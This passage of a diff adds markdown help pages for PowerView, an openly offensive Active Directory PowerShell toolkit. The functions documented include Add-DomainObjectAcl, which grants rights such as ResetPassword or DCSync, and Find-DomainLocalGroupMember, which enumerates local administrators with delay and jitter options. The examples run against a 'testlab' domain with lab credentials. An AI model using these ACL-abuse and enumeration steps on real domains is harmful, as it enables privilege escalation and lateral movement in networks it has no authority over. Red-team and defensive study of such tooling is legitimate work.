VERBOSE: \[Add-DomainObjectAcl\] Granting principal CN=harmj0y,CN=Users,DC=testlab,DC=local rights GUID '00299570-246d-11d0-a768-00aa006e0529' on CN=dfm (admin),CN=Users,DC=testlab,DC=local
Get-DomainObjectACL dfm.a -ResolveGUIDs | Where-Object {$_.securityidentifier -eq $Harmj0ySid }
AceQualifier : AccessAllowed
ObjectDN : CN=dfm (admin),CN=Users,DC=testlab,DC=local
ActiveDirectoryRights : ExtendedRight
ObjectAceType : User-Force-Change-Password
ObjectSID : S-1-5-21-890171859-3433809279-3366196753-1114
InheritanceFlags : None
BinaryLength : 56
AceType : AccessAllowedObject
ObjectAceFlags : ObjectAceTypePresent
IsCallback : False
PropagationFlags : None
SecurityIdentifier : S-1-5-21-890171859-3433809279-3366196753-1108
AccessMask : 256
AuditFlags : None
IsInherited : False
AceFlags : None
InheritedObjectAceType : All
OpaqueLength : 0
### -------------------------- EXAMPLE 2 --------------------------
```
$Harmj0ySid = Get-DomainUser harmj0y | Select-Object -ExpandProperty objectsid
```
Get-DomainObjectACL testuser -ResolveGUIDs | Where-Object {$_.securityidentifier -eq $Harmj0ySid}
\[no results returned\]
$SecPassword = ConvertTo-SecureString 'Password123!'-AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Add-DomainObjectAcl -TargetIdentity testuser -PrincipalIdentity harmj0y -Rights ResetPassword -Credential $Cred -Verbose
VERBOSE: \[Get-Domain\] Using alternate credentials for Get-Domain
VERBOSE: \[Get-Domain\] Extracted domain 'TESTLAB' from -Credential
VERBOSE: \[Get-DomainSearcher\] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local
VERBOSE: \[Get-DomainSearcher\] Using alternate credentials for LDAP connection
VERBOSE: \[Get-DomainObject\] Get-DomainObject filter string: (&(|(|(samAccountName=harmj0y)(name=harmj0y))))
VERBOSE: \[Get-Domain\] Using alternate credentials for Get-Domain
VERBOSE: \[Get-Domain\] Extracted domain 'TESTLAB' from -Credential
VERBOSE: \[Get-DomainSearcher\] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local
VERBOSE: \[Get-DomainSearcher\] Using alternate credentials for LDAP connection
VERBOSE: \[Get-DomainObject\] Get-DomainObject filter string: (&(|(|(samAccountName=testuser)(name=testuser))))
VERBOSE: \[Add-DomainObjectAcl\] Granting principal CN=harmj0y,CN=Users,DC=testlab,DC=local 'ResetPassword' on CN=testuser testuser,CN=Users,DC=testlab,DC=local
VERBOSE: \[Add-DomainObjectAcl\] Granting principal CN=harmj0y,CN=Users,DC=testlab,DC=local rights GUID '00299570-246d-11d0-a768-00aa006e0529' on CN=testuser,CN=Users,DC=testlab,DC=local
Get-DomainObjectACL testuser -ResolveGUIDs | Where-Object {$_.securityidentifier -eq $Harmj0ySid }
AceQualifier : AccessAllowed
ObjectDN : CN=dfm (admin),CN=Users,DC=testlab,DC=local
ActiveDirectoryRights : ExtendedRight
ObjectAceType : User-Force-Change-Password
ObjectSID : S-1-5-21-890171859-3433809279-3366196753-1114
InheritanceFlags : None
BinaryLength : 56
AceType : AccessAllowedObject
ObjectAceFlags : ObjectAceTypePresent
IsCallback : False
PropagationFlags : None
SecurityIdentifier : S-1-5-21-890171859-3433809279-3366196753-1108
AccessMask : 256
AuditFlags : None
IsInherited : False
AceFlags : None
InheritedObjectAceType : All
OpaqueLength : 0
## PARAMETERS
### -TargetIdentity
A SamAccountName (e.g.
harmj0y), DistinguishedName (e.g.
CN=harmj0y,CN=Users,DC=testlab,DC=local),
SID (e.g.
S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g.
4c435dd7-dc58-4b14-9a5e-1fdb0e80d201)
for the domain object to modify ACLs for.
Required.
Wildcards accepted.
```yaml
Type: String[]
Parameter Sets: (All)
Aliases: DistinguishedName, SamAccountName, Name
Required: False
Position: 1
Default value: None
Accept pipeline input: True (ByPropertyName, ByValue)
Accept wildcard characters: False
```
### -TargetDomain
Specifies the domain for the TargetIdentity to use for the modification, defaults to the current domain.
```yaml
Type: String
Parameter Sets: (All)
Aliases:
Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -TargetLDAPFilter
Specifies an LDAP query string that is used to filter Active Directory object targets.
```yaml
Type: String
Parameter Sets: (All)
Aliases: Filter
Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -TargetSearchBase
The LDAP source to search through for targets, e.g.
"LDAP://OU=secret,DC=testlab,DC=local"
Useful for OU queries.
```yaml
Type: String
Parameter Sets: (All)
Aliases:
Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -PrincipalIdentity
A SamAccountName (e.g.
harmj0y), DistinguishedName (e.g.
CN=harmj0y,CN=Users,DC=testlab,DC=local),
SID (e.g.
S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g.
4c435dd7-dc58-4b14-9a5e-1fdb0e80d201)
for the domain principal to add for the ACL.
Required.
Wildcards accepted.
```yaml
Type: String[]
Parameter Sets: (All)
Aliases:
Required: True
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -PrincipalDomain
Specifies the domain for the TargetIdentity to use for the principal, defaults to the current domain.
```yaml
Type: String
Parameter Sets: (All)
Aliases:
Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -Server
Specifies an Active Directory server (domain controller) to bind to.
```yaml
Type: String
Parameter Sets: (All)
Aliases: DomainController
Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
```yaml
Type: String
Parameter Sets: (All)
Aliases:
Required: False
Position: Named
Default value: Subtree
Accept pipeline input: False
Accept wildcard characters: False
```
### -ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
```yaml
Type: Int32
Parameter Sets: (All)
Aliases:
Required: False
Position: Named
Default value: 200
Accept pipeline input: False
Accept wildcard characters: False
```
### -ServerTimeLimit
Specifies the maximum amount of time the server spends searching.
Default of 120 seconds.
```yaml
Type: Int32
Parameter Sets: (All)
Aliases:
Required: False
Position: Named
Default value: 0
Accept pipeline input: False
Accept wildcard characters: False
```
### -Tombstone
Switch.
Specifies that the searcher should also return deleted/tombstoned objects.
```yaml
Type: SwitchParameter
Parameter Sets: (All)
Aliases:
Required: False
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```
### -Credential
A \[Management.Automation.PSCredential\] object of alternate credentials
for connection to the target domain.
```yaml
Type: PSCredential
Parameter Sets: (All)
Aliases:
Required: False
Position: Named
Default value: [Management.Automation.PSCredential]::Empty
Accept pipeline input: False
Accept wildcard characters: False
```
### -Rights
Rights to add for the principal, 'All', 'ResetPassword', 'WriteMembers', 'DCSync'.
Defaults to 'All'.
```yaml
Type: String
Parameter Sets: (All)
Aliases:
Required: False
Position: Named
Default value: All
Accept pipeline input: False
Accept wildcard characters: False
```
### -RightsGUID
Manual GUID representing the right to add to the target.
```yaml
Type: Guid
Parameter Sets: (All)
Aliases:
Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
## INPUTS
## OUTPUTS
## NOTES
## RELATED LINKS
[https://adsecurity.org/?p=1906
https://social.technet.microsoft.com/Forums/windowsserver/en-US/df3bfd33-c070-4a9c-be98-c4da6e591a0a/forum-faq-using-powershell-to-assign-permissions-on-active-directory-objects?forum=winserverpowershell](https://adsecurity.org/?p=1906
https://social.technet.microsoft.com/Forums/windowsserver/en-US/df3bfd33-c070-4a9c-be98-c4da6e591a0a/forum-faq-using-powershell-to-assign-permissions-on-active-directory-objects?forum=winserverpowershell)
+114
View File
@@ -0,0 +1,114 @@
# Add-RemoteConnection
## SYNOPSIS
Pseudo "mounts" a connection to a remote path using the specified
credential object, allowing for access of remote resources.
If a -Path isn't
specified, a -ComputerName is required to pseudo-mount IPC$.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: PSReflect
## SYNTAX
### ComputerName (Default)
```
Add-RemoteConnection [-ComputerName] <String[]> -Credential <PSCredential>
```
### Path
```
Add-RemoteConnection [-Path] <String[]> -Credential <PSCredential>
```
## DESCRIPTION
This function uses WNetAddConnection2W to make a 'temporary' (i.e.
not saved) connection
to the specified remote -Path (\\\\UNC\share) with the alternate credentials specified in the
-Credential object.
If a -Path isn't specified, a -ComputerName is required to pseudo-mount IPC$.
To destroy the connection, use Remove-RemoteConnection with the same specified \\\\UNC\share path
or -ComputerName.
## EXAMPLES
### -------------------------- EXAMPLE 1 --------------------------
```
$Cred = Get-Credential
```
Add-RemoteConnection -ComputerName 'PRIMARY.testlab.local' -Credential $Cred
### -------------------------- EXAMPLE 2 --------------------------
```
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
```
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Add-RemoteConnection -Path '\\\\PRIMARY.testlab.local\C$\' -Credential $Cred
### -------------------------- EXAMPLE 3 --------------------------
```
$Cred = Get-Credential
```
@('PRIMARY.testlab.local','SECONDARY.testlab.local') | Add-RemoteConnection -Credential $Cred
## PARAMETERS
### -ComputerName
Specifies the system to add a \\\\ComputerName\IPC$ connection for.
```yaml
Type: String[]
Parameter Sets: ComputerName
Aliases: HostName, dnshostname, name
Required: True
Position: 1
Default value: None
Accept pipeline input: True (ByPropertyName, ByValue)
Accept wildcard characters: False
```
### -Path
Specifies the remote \\\\UNC\path to add the connection for.
```yaml
Type: String[]
Parameter Sets: Path
Aliases:
Required: True
Position: 1
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -Credential
A \[Management.Automation.PSCredential\] object of alternate credentials
for connection to the remote system.
```yaml
Type: PSCredential
Parameter Sets: (All)
Aliases:
Required: True
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
## INPUTS
## OUTPUTS
## NOTES
## RELATED LINKS
+184
View File
@@ -0,0 +1,184 @@
# Convert-ADName
## SYNOPSIS
Converts Active Directory object names between a variety of formats.
Author: Bill Stewart, Pasquale Lantella
Modifications: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: None
## SYNTAX
```
Convert-ADName [-Identity] <String[]> [[-OutputType] <String>] [[-Domain] <String>] [[-Server] <String>]
[[-Credential] <PSCredential>]
```
## DESCRIPTION
This function is heavily based on Bill Stewart's code and Pasquale Lantella's code (in LINK)
and translates Active Directory names between various formats using the NameTranslate COM object.
## EXAMPLES
### -------------------------- EXAMPLE 1 --------------------------
```
Convert-ADName -Identity "TESTLAB\harmj0y"
```
harmj0y@testlab.local
### -------------------------- EXAMPLE 2 --------------------------
```
"TESTLAB\krbtgt", "CN=Administrator,CN=Users,DC=testlab,DC=local" | Convert-ADName -OutputType Canonical
```
testlab.local/Users/krbtgt
testlab.local/Users/Administrator
### -------------------------- EXAMPLE 3 --------------------------
```
Convert-ADName -OutputType dn -Identity 'TESTLAB\harmj0y' -Server PRIMARY.testlab.local
```
CN=harmj0y,CN=Users,DC=testlab,DC=local
### -------------------------- EXAMPLE 4 --------------------------
```
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
```
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm', $SecPassword)
'S-1-5-21-890171859-3433809279-3366196753-1108' | Convert-ADNAme -Credential $Cred
TESTLAB\harmj0y
## PARAMETERS
### -Identity
Specifies the Active Directory object name to translate, of the following form:
DN short for 'distinguished name'; e.g., 'CN=Phineas Flynn,OU=Engineers,DC=fabrikam,DC=com'
Canonical canonical name; e.g., 'fabrikam.com/Engineers/Phineas Flynn'
NT4 domain\username; e.g., 'fabrikam\pflynn'
Display display name, e.g.
'pflynn'
DomainSimple simple domain name format, e.g.
'pflynn@fabrikam.com'
EnterpriseSimple simple enterprise name format, e.g.
'pflynn@fabrikam.com'
GUID GUID; e.g., '{95ee9fff-3436-11d1-b2b0-d15ae3ac8436}'
UPN user principal name; e.g., 'pflynn@fabrikam.com'
CanonicalEx extended canonical name format
SPN service principal name format; e.g.
'HTTP/kairomac.contoso.com'
SID Security Identifier; e.g., 'S-1-5-21-12986231-600641547-709122288-57999'
```yaml
Type: String[]
Parameter Sets: (All)
Aliases: Name, ObjectName
Required: True
Position: 1
Default value: None
Accept pipeline input: True (ByPropertyName, ByValue)
Accept wildcard characters: False
```
### -OutputType
Specifies the output name type you want to convert to, which must be one of the following:
DN short for 'distinguished name'; e.g., 'CN=Phineas Flynn,OU=Engineers,DC=fabrikam,DC=com'
Canonical canonical name; e.g., 'fabrikam.com/Engineers/Phineas Flynn'
NT4 domain\username; e.g., 'fabrikam\pflynn'
Display display name, e.g.
'pflynn'
DomainSimple simple domain name format, e.g.
'pflynn@fabrikam.com'
EnterpriseSimple simple enterprise name format, e.g.
'pflynn@fabrikam.com'
GUID GUID; e.g., '{95ee9fff-3436-11d1-b2b0-d15ae3ac8436}'
UPN user principal name; e.g., 'pflynn@fabrikam.com'
CanonicalEx extended canonical name format, e.g.
'fabrikam.com/Users/Phineas Flynn'
SPN service principal name format; e.g.
'HTTP/kairomac.contoso.com'
```yaml
Type: String
Parameter Sets: (All)
Aliases:
Required: False
Position: 2
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -Domain
Specifies the domain to use for the translation, defaults to the current domain.
```yaml
Type: String
Parameter Sets: (All)
Aliases:
Required: False
Position: 3
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -Server
Specifies an Active Directory server (domain controller) to bind to for the translation.
```yaml
Type: String
Parameter Sets: (All)
Aliases: DomainController
Required: False
Position: 4
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -Credential
Specifies an alternate credential to use for the translation.
```yaml
Type: PSCredential
Parameter Sets: (All)
Aliases:
Required: False
Position: 5
Default value: [Management.Automation.PSCredential]::Empty
Accept pipeline input: False
Accept wildcard characters: False
```
## INPUTS
### String
Accepts one or more objects name strings on the pipeline.
## OUTPUTS
### String
Outputs a string representing the converted name.
## NOTES
## RELATED LINKS
[http://windowsitpro.com/active-directory/translating-active-directory-object-names-between-formats
https://gallery.technet.microsoft.com/scriptcenter/Translating-Active-5c80dd67](http://windowsitpro.com/active-directory/translating-active-directory-object-names-between-formats
https://gallery.technet.microsoft.com/scriptcenter/Translating-Active-5c80dd67)
+126
View File
@@ -0,0 +1,126 @@
# ConvertFrom-SID
## SYNOPSIS
Converts a security identifier (SID) to a group/user name.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Convert-ADName
## SYNTAX
```
ConvertFrom-SID [-ObjectSid] <String[]> [[-Domain] <String>] [[-Server] <String>]
[[-Credential] <PSCredential>]
```
## DESCRIPTION
Converts a security identifier string (SID) to a group/user name
using Convert-ADName.
## EXAMPLES
### -------------------------- EXAMPLE 1 --------------------------
```
ConvertFrom-SID S-1-5-21-890171859-3433809279-3366196753-1108
```
TESTLAB\harmj0y
### -------------------------- EXAMPLE 2 --------------------------
```
"S-1-5-21-890171859-3433809279-3366196753-1107", "S-1-5-21-890171859-3433809279-3366196753-1108", "S-1-5-32-562" | ConvertFrom-SID
```
TESTLAB\WINDOWS2$
TESTLAB\harmj0y
BUILTIN\Distributed COM Users
### -------------------------- EXAMPLE 3 --------------------------
```
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
```
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm', $SecPassword)
ConvertFrom-SID S-1-5-21-890171859-3433809279-3366196753-1108 -Credential $Cred
TESTLAB\harmj0y
## PARAMETERS
### -ObjectSid
Specifies one or more SIDs to convert.
```yaml
Type: String[]
Parameter Sets: (All)
Aliases: SID
Required: True
Position: 1
Default value: None
Accept pipeline input: True (ByPropertyName, ByValue)
Accept wildcard characters: False
```
### -Domain
Specifies the domain to use for the translation, defaults to the current domain.
```yaml
Type: String
Parameter Sets: (All)
Aliases:
Required: False
Position: 2
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -Server
Specifies an Active Directory server (domain controller) to bind to for the translation.
```yaml
Type: String
Parameter Sets: (All)
Aliases: DomainController
Required: False
Position: 3
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -Credential
Specifies an alternate credential to use for the translation.
```yaml
Type: PSCredential
Parameter Sets: (All)
Aliases:
Required: False
Position: 4
Default value: [Management.Automation.PSCredential]::Empty
Accept pipeline input: False
Accept wildcard characters: False
```
## INPUTS
### String
Accepts one or more SID strings on the pipeline.
## OUTPUTS
### String
The converted DOMAIN\username.
## NOTES
## RELATED LINKS
+127
View File
@@ -0,0 +1,127 @@
# ConvertFrom-UACValue
## SYNOPSIS
Converts a UAC int value to human readable form.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: None
## SYNTAX
```
ConvertFrom-UACValue [-Value] <Int32> [-ShowAll]
```
## DESCRIPTION
This function will take an integer that represents a User Account
Control (UAC) binary blob and will covert it to an ordered
dictionary with each bitwise value broken out.
By default only values
set are displayed- the -ShowAll switch will display all values with
a + next to the ones set.
## EXAMPLES
### -------------------------- EXAMPLE 1 --------------------------
```
ConvertFrom-UACValue -Value 66176
```
Name Value
---- -----
ENCRYPTED_TEXT_PWD_ALLOWED 128
NORMAL_ACCOUNT 512
DONT_EXPIRE_PASSWORD 65536
### -------------------------- EXAMPLE 2 --------------------------
```
Get-DomainUser harmj0y | ConvertFrom-UACValue
```
Name Value
---- -----
NORMAL_ACCOUNT 512
DONT_EXPIRE_PASSWORD 65536
### -------------------------- EXAMPLE 3 --------------------------
```
Get-DomainUser harmj0y | ConvertFrom-UACValue -ShowAll
```
Name Value
---- -----
SCRIPT 1
ACCOUNTDISABLE 2
HOMEDIR_REQUIRED 8
LOCKOUT 16
PASSWD_NOTREQD 32
PASSWD_CANT_CHANGE 64
ENCRYPTED_TEXT_PWD_ALLOWED 128
TEMP_DUPLICATE_ACCOUNT 256
NORMAL_ACCOUNT 512+
INTERDOMAIN_TRUST_ACCOUNT 2048
WORKSTATION_TRUST_ACCOUNT 4096
SERVER_TRUST_ACCOUNT 8192
DONT_EXPIRE_PASSWORD 65536+
MNS_LOGON_ACCOUNT 131072
SMARTCARD_REQUIRED 262144
TRUSTED_FOR_DELEGATION 524288
NOT_DELEGATED 1048576
USE_DES_KEY_ONLY 2097152
DONT_REQ_PREAUTH 4194304
PASSWORD_EXPIRED 8388608
TRUSTED_TO_AUTH_FOR_DELEGATION 16777216
PARTIAL_SECRETS_ACCOUNT 67108864
## PARAMETERS
### -Value
Specifies the integer UAC value to convert.
```yaml
Type: Int32
Parameter Sets: (All)
Aliases: UAC, useraccountcontrol
Required: True
Position: 1
Default value: 0
Accept pipeline input: True (ByPropertyName, ByValue)
Accept wildcard characters: False
```
### -ShowAll
Switch.
Signals ConvertFrom-UACValue to display all UAC values, with a + indicating the value is currently set.
```yaml
Type: SwitchParameter
Parameter Sets: (All)
Aliases:
Required: False
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```
## INPUTS
### Int
Accepts an integer representing a UAC binary blob.
## OUTPUTS
### System.Collections.Specialized.OrderedDictionary
An ordered dictionary with the converted UAC fields.
## NOTES
## RELATED LINKS
[https://support.microsoft.com/en-us/kb/305144](https://support.microsoft.com/en-us/kb/305144)
+120
View File
@@ -0,0 +1,120 @@
# ConvertTo-SID
## SYNOPSIS
Converts a given user/group name to a security identifier (SID).
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Convert-ADName, Get-DomainObject, Get-Domain
## SYNTAX
```
ConvertTo-SID [-ObjectName] <String[]> [[-Domain] <String>] [[-Server] <String>] [[-Credential] <PSCredential>]
```
## DESCRIPTION
Converts a "DOMAIN\username" syntax to a security identifier (SID)
using System.Security.Principal.NTAccount's translate function.
If alternate
credentials are supplied, then Get-ADObject is used to try to map the name
to a security identifier.
## EXAMPLES
### -------------------------- EXAMPLE 1 --------------------------
```
ConvertTo-SID 'DEV\dfm'
```
### -------------------------- EXAMPLE 2 --------------------------
```
'DEV\dfm','DEV\krbtgt' | ConvertTo-SID
```
### -------------------------- EXAMPLE 3 --------------------------
```
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
```
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
'TESTLAB\dfm' | ConvertTo-SID -Credential $Cred
## PARAMETERS
### -ObjectName
The user/group name to convert, can be 'user' or 'DOMAIN\user' format.
```yaml
Type: String[]
Parameter Sets: (All)
Aliases: Name, Identity
Required: True
Position: 1
Default value: None
Accept pipeline input: True (ByPropertyName, ByValue)
Accept wildcard characters: False
```
### -Domain
Specifies the domain to use for the translation, defaults to the current domain.
```yaml
Type: String
Parameter Sets: (All)
Aliases:
Required: False
Position: 2
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -Server
Specifies an Active Directory server (domain controller) to bind to for the translation.
```yaml
Type: String
Parameter Sets: (All)
Aliases: DomainController
Required: False
Position: 3
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -Credential
Specifies an alternate credential to use for the translation.
```yaml
Type: PSCredential
Parameter Sets: (All)
Aliases:
Required: False
Position: 4
Default value: [Management.Automation.PSCredential]::Empty
Accept pipeline input: False
Accept wildcard characters: False
```
## INPUTS
### String
Accepts one or more username specification strings on the pipeline.
## OUTPUTS
### String
A string representing the SID of the translated name.
## NOTES
## RELATED LINKS
+117
View File
@@ -0,0 +1,117 @@
# Export-PowerViewCSV
## SYNOPSIS
Converts objects into a series of comma-separated (CSV) strings and saves the
strings in a CSV file in a thread-safe manner.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: None
## SYNTAX
```
Export-PowerViewCSV -InputObject <PSObject[]> [-Path] <String> [[-Delimiter] <Char>] [-Append]
```
## DESCRIPTION
This helper exports an -InputObject to a .csv in a thread-safe manner
using a mutex.
This is so the various multi-threaded functions in
PowerView has a thread-safe way to export output to the same file.
Uses .NET IO.FileStream/IO.StreamWriter objects for speed.
Originally based on Dmitry Sotnikov's Export-CSV code: http://poshcode.org/1590
## EXAMPLES
### -------------------------- EXAMPLE 1 --------------------------
```
Get-DomainUser | Export-PowerViewCSV -Path "users.csv"
```
### -------------------------- EXAMPLE 2 --------------------------
```
Get-DomainUser | Export-PowerViewCSV -Path "users.csv" -Append -Delimiter '|'
```
## PARAMETERS
### -InputObject
Specifies the objects to export as CSV strings.
```yaml
Type: PSObject[]
Parameter Sets: (All)
Aliases:
Required: True
Position: Named
Default value: None
Accept pipeline input: True (ByPropertyName, ByValue)
Accept wildcard characters: False
```
### -Path
Specifies the path to the CSV output file.
```yaml
Type: String
Parameter Sets: (All)
Aliases:
Required: True
Position: 2
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -Delimiter
Specifies a delimiter to separate the property values.
The default is a comma (,)
```yaml
Type: Char
Parameter Sets: (All)
Aliases:
Required: False
Position: 3
Default value: ,
Accept pipeline input: False
Accept wildcard characters: False
```
### -Append
Indicates that this cmdlet adds the CSV output to the end of the specified file.
Without this parameter, Export-PowerViewCSV replaces the file contents without warning.
```yaml
Type: SwitchParameter
Parameter Sets: (All)
Aliases:
Required: False
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```
## INPUTS
### PSObject
Accepts one or more PSObjects on the pipeline.
## OUTPUTS
## NOTES
## RELATED LINKS
[http://poshcode.org/1590
http://dmitrysotnikov.wordpress.com/2010/01/19/Export-Csv-append/](http://poshcode.org/1590
http://dmitrysotnikov.wordpress.com/2010/01/19/Export-Csv-append/)
+351
View File
@@ -0,0 +1,351 @@
# Find-DomainLocalGroupMember
## SYNOPSIS
Enumerates the members of specified local group (default administrators)
for all the targeted machines on the current (or specified) domain.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainComputer, Invoke-UserImpersonation, Invoke-RevertToSelf, Get-NetLocalGroupMember, New-ThreadedFunction
## SYNTAX
```
Find-DomainLocalGroupMember [[-ComputerName] <String[]>] [-ComputerDomain <String>]
[-ComputerLDAPFilter <String>] [-ComputerSearchBase <String>] [-ComputerOperatingSystem <String>]
[-ComputerServicePack <String>] [-ComputerSiteName <String>] [-GroupName <String>] [-Method <String>]
[-Server <String>] [-SearchScope <String>] [-ResultPageSize <Int32>] [-ServerTimeLimit <Int32>] [-Tombstone]
[-Credential <PSCredential>] [-Delay <Int32>] [-Jitter <Double>] [-Threads <Int32>]
```
## DESCRIPTION
This function enumerates all machines on the current (or specified) domain
using Get-DomainComputer, and enumerates the members of the specified local
group (default of Administrators) for each machine using Get-NetLocalGroupMember.
By default, the API method is used, but this can be modified with '-Method winnt'
to use the WinNT service provider.
## EXAMPLES
### -------------------------- EXAMPLE 1 --------------------------
```
Find-DomainLocalGroupMember
```
Enumerates the local group memberships for all reachable machines in the current domain.
### -------------------------- EXAMPLE 2 --------------------------
```
Find-DomainLocalGroupMember -Domain dev.testlab.local
```
Enumerates the local group memberships for all reachable machines the dev.testlab.local domain.
### -------------------------- EXAMPLE 3 --------------------------
```
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
```
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Find-DomainLocalGroupMember -Domain testlab.local -Credential $Cred
Enumerates the local group memberships for all reachable machines the dev.testlab.local
domain using the alternate credentials.
## PARAMETERS
### -ComputerName
Specifies an array of one or more hosts to enumerate, passable on the pipeline.
If -ComputerName is not passed, the default behavior is to enumerate all machines
in the domain returned by Get-DomainComputer.
```yaml
Type: String[]
Parameter Sets: (All)
Aliases: DNSHostName
Required: False
Position: 1
Default value: None
Accept pipeline input: True (ByPropertyName, ByValue)
Accept wildcard characters: False
```
### -ComputerDomain
Specifies the domain to query for computers, defaults to the current domain.
```yaml
Type: String
Parameter Sets: (All)
Aliases:
Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -ComputerLDAPFilter
Specifies an LDAP query string that is used to search for computer objects.
```yaml
Type: String
Parameter Sets: (All)
Aliases:
Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -ComputerSearchBase
Specifies the LDAP source to search through for computers,
e.g.
"LDAP://OU=secret,DC=testlab,DC=local".
Useful for OU queries.
```yaml
Type: String
Parameter Sets: (All)
Aliases:
Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -ComputerOperatingSystem
Search computers with a specific operating system, wildcards accepted.
```yaml
Type: String
Parameter Sets: (All)
Aliases: OperatingSystem
Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -ComputerServicePack
Search computers with a specific service pack, wildcards accepted.
```yaml
Type: String
Parameter Sets: (All)
Aliases: ServicePack
Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -ComputerSiteName
Search computers in the specific AD Site name, wildcards accepted.
```yaml
Type: String
Parameter Sets: (All)
Aliases: SiteName
Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -GroupName
The local group name to query for users.
If not given, it defaults to "Administrators".
```yaml
Type: String
Parameter Sets: (All)
Aliases:
Required: False
Position: Named
Default value: Administrators
Accept pipeline input: True (ByPropertyName)
Accept wildcard characters: False
```
### -Method
The collection method to use, defaults to 'API', also accepts 'WinNT'.
```yaml
Type: String
Parameter Sets: (All)
Aliases: CollectionMethod
Required: False
Position: Named
Default value: API
Accept pipeline input: False
Accept wildcard characters: False
```
### -Server
Specifies an Active Directory server (domain controller) to bind to.
```yaml
Type: String
Parameter Sets: (All)
Aliases: DomainController
Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -SearchScope
Specifies the scope to search under for computers, Base/OneLevel/Subtree (default of Subtree).
```yaml
Type: String
Parameter Sets: (All)
Aliases:
Required: False
Position: Named
Default value: Subtree
Accept pipeline input: False
Accept wildcard characters: False
```
### -ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
```yaml
Type: Int32
Parameter Sets: (All)
Aliases:
Required: False
Position: Named
Default value: 200
Accept pipeline input: False
Accept wildcard characters: False
```
### -ServerTimeLimit
Specifies the maximum amount of time the server spends searching.
Default of 120 seconds.
```yaml
Type: Int32
Parameter Sets: (All)
Aliases:
Required: False
Position: Named
Default value: 0
Accept pipeline input: False
Accept wildcard characters: False
```
### -Tombstone
Switch.
Specifies that the searcher should also return deleted/tombstoned objects.
```yaml
Type: SwitchParameter
Parameter Sets: (All)
Aliases:
Required: False
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```
### -Credential
A \[Management.Automation.PSCredential\] object of alternate credentials
for connection to the target domain and target systems.
```yaml
Type: PSCredential
Parameter Sets: (All)
Aliases:
Required: False
Position: Named
Default value: [Management.Automation.PSCredential]::Empty
Accept pipeline input: False
Accept wildcard characters: False
```
### -Delay
Specifies the delay (in seconds) between enumerating hosts, defaults to 0.
```yaml
Type: Int32
Parameter Sets: (All)
Aliases:
Required: False
Position: Named
Default value: 0
Accept pipeline input: False
Accept wildcard characters: False
```
### -Jitter
Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3
```yaml
Type: Double
Parameter Sets: (All)
Aliases:
Required: False
Position: Named
Default value: 0.3
Accept pipeline input: False
Accept wildcard characters: False
```
### -Threads
The number of threads to use for user searching, defaults to 20.
```yaml
Type: Int32
Parameter Sets: (All)
Aliases:
Required: False
Position: Named
Default value: 20
Accept pipeline input: False
Accept wildcard characters: False
```
## INPUTS
## OUTPUTS
### PowerView.LocalGroupMember.API
Custom PSObject with translated group property fields from API results.
